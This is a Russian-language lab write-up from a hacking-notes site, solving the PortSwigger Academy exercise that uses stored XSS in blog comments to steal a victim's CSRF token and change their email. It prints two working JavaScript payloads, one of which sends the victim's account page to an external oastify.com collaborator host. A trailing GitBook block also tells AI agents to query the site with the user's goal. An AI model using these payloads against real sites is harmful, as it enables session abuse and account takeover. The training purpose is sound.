> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/xss/xss-to-bypass-csrf-defenses.md).

# XSS для обхода CSRF-защиты

Заметки по XSS для обхода CSRF-защиты для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### Эксплуатация XSS для обхода защит CSRF

В этом лабораторном задании есть уязвимость XSS, сохраняемая в функции комментариев блога. Цель — использовать эту уязвимость, чтобы украсть CSRF-токен у пользователя, который просматривает комментарии, а затем использовать его для изменения адреса электронной почты этой учетной записи. Вы можете подключиться, используя следующие учетные данные: `wiener:peter`.

* На странице есть поле для обновления электронной почты.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d0c3e3fdf256c4045049286cc74977393e309d0%2Fimage%20(409).png?alt=media" alt=""><figcaption></figcaption></figure>

* На странице есть поле для обновления электронной почты.
* При перехвате запроса на обновление наблюдаются параметры (пример):
* `email=test%40jord4n.pro`
* `CSRF=bChKCyNxiyBR5opUEioECjC9Trutjqyg`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-acf18d1bfacd9275c4c9b9f4ef7d406309692d4f%2Fimage%20(410).png?alt=media" alt=""><figcaption></figcaption></figure>

Стратегия:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fac86c14624fdd6d6fa6d7bddd3d453839367b55%2Fimage%20(411).png?alt=media" alt=""><figcaption></figcaption></figure>

1. Опубликовать комментарий, содержащий скрипт, который, когда страницу просматривает жертва, получает HTML со страницы учетной записи (`/my-account`) с помощью синхронного или асинхронного запроса.
2. Отправить этот HTML на контролируемый сервер для прослушивания (при желании закодировав в base64).
3. Получить на стороне атакующего CSRF-токен и, во втором скрипте, выполняемом в контексте жертвы, выполнить POST-запрос к `/my-account/change-email` передав при этом и новый адрес, и полученный CSRF-токен — запрос будет использовать cookie сеанса жертвы, поскольку скрипт выполняется в ее браузере.

Отправка исходного кода страницы учетной записи на сервер для прослушивания (закодированного в Base64):

```javascript
<script>
    var req = new XMLHttpRequest();
    req.open("GET", "/my-account", false);
    req.send();
    var response = req.responseText;
    var req2 = new XMLHttpRequest();
    req2.open('GET', "https://402aywltdrxv6ewnncppwgdf76dx1npc.oastify.com?response=" + btoa(response));
    req2.send();
</script>
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a78b430d57e932a06cb23c1016c20ab0b6567f2a%2Fimage%20(412).png?alt=media" alt=""><figcaption></figcaption></figure>

Наблюдаемый результат:

* На нашей инфраструктуре ожидаются два запроса, содержащих HTML, закодированный в base64.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d5add686ed6439e37422a581d6c66b3cc94bbb6%2Fimage%20(413).png?alt=media" alt=""><figcaption></figcaption></figure>

* После декодирования HTML содержит информацию об учетной записи: имя пользователя `роль администратора`, текущий адрес электронной почты и CSRF-токен в `ввод` поле (например, `name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M"` в приведенном выше примере).

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-60dd1106ab6bb805c52a84b6ffc7961bda557b95%2Fimage%20(414).png?alt=media" alt=""><figcaption></figcaption></figure>

```html
<div id=account-content>
    <p>Ваше имя пользователя: administrator</p>
    <p>Ваш адрес электронной почты: <span id="user-email">admin@normal-user.net</span></p>
        <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
            <label>Электронная почта</label>
            <input required type="email" name="email" value="">
            <input required type="hidden" name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M">
            <button class='button' type='submit'> Обновить адрес электронной почты </button>
        </form>
</div>
```

Получение CSRF-токена из HTML и отправка изменения email (POST):

```javascript
<script>
var req = new XMLHttpRequest();
req.open("GET", "/my-account", false);
req.send();
var response = req.responseText;
var csrf_token = (response.match(/name="csrf" value="(.*?)"/)||[])[1];
var req2 = new XMLHttpRequest();
req2.open('POST', '/my-account/change-email', true);
req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = "email=" + encodeURIComponent("pwned@pwned.com") + "&csrf=" + encodeURIComponent(csrf_token);
req2.send(data);
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/xss/xss-to-bypass-csrf-defenses.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
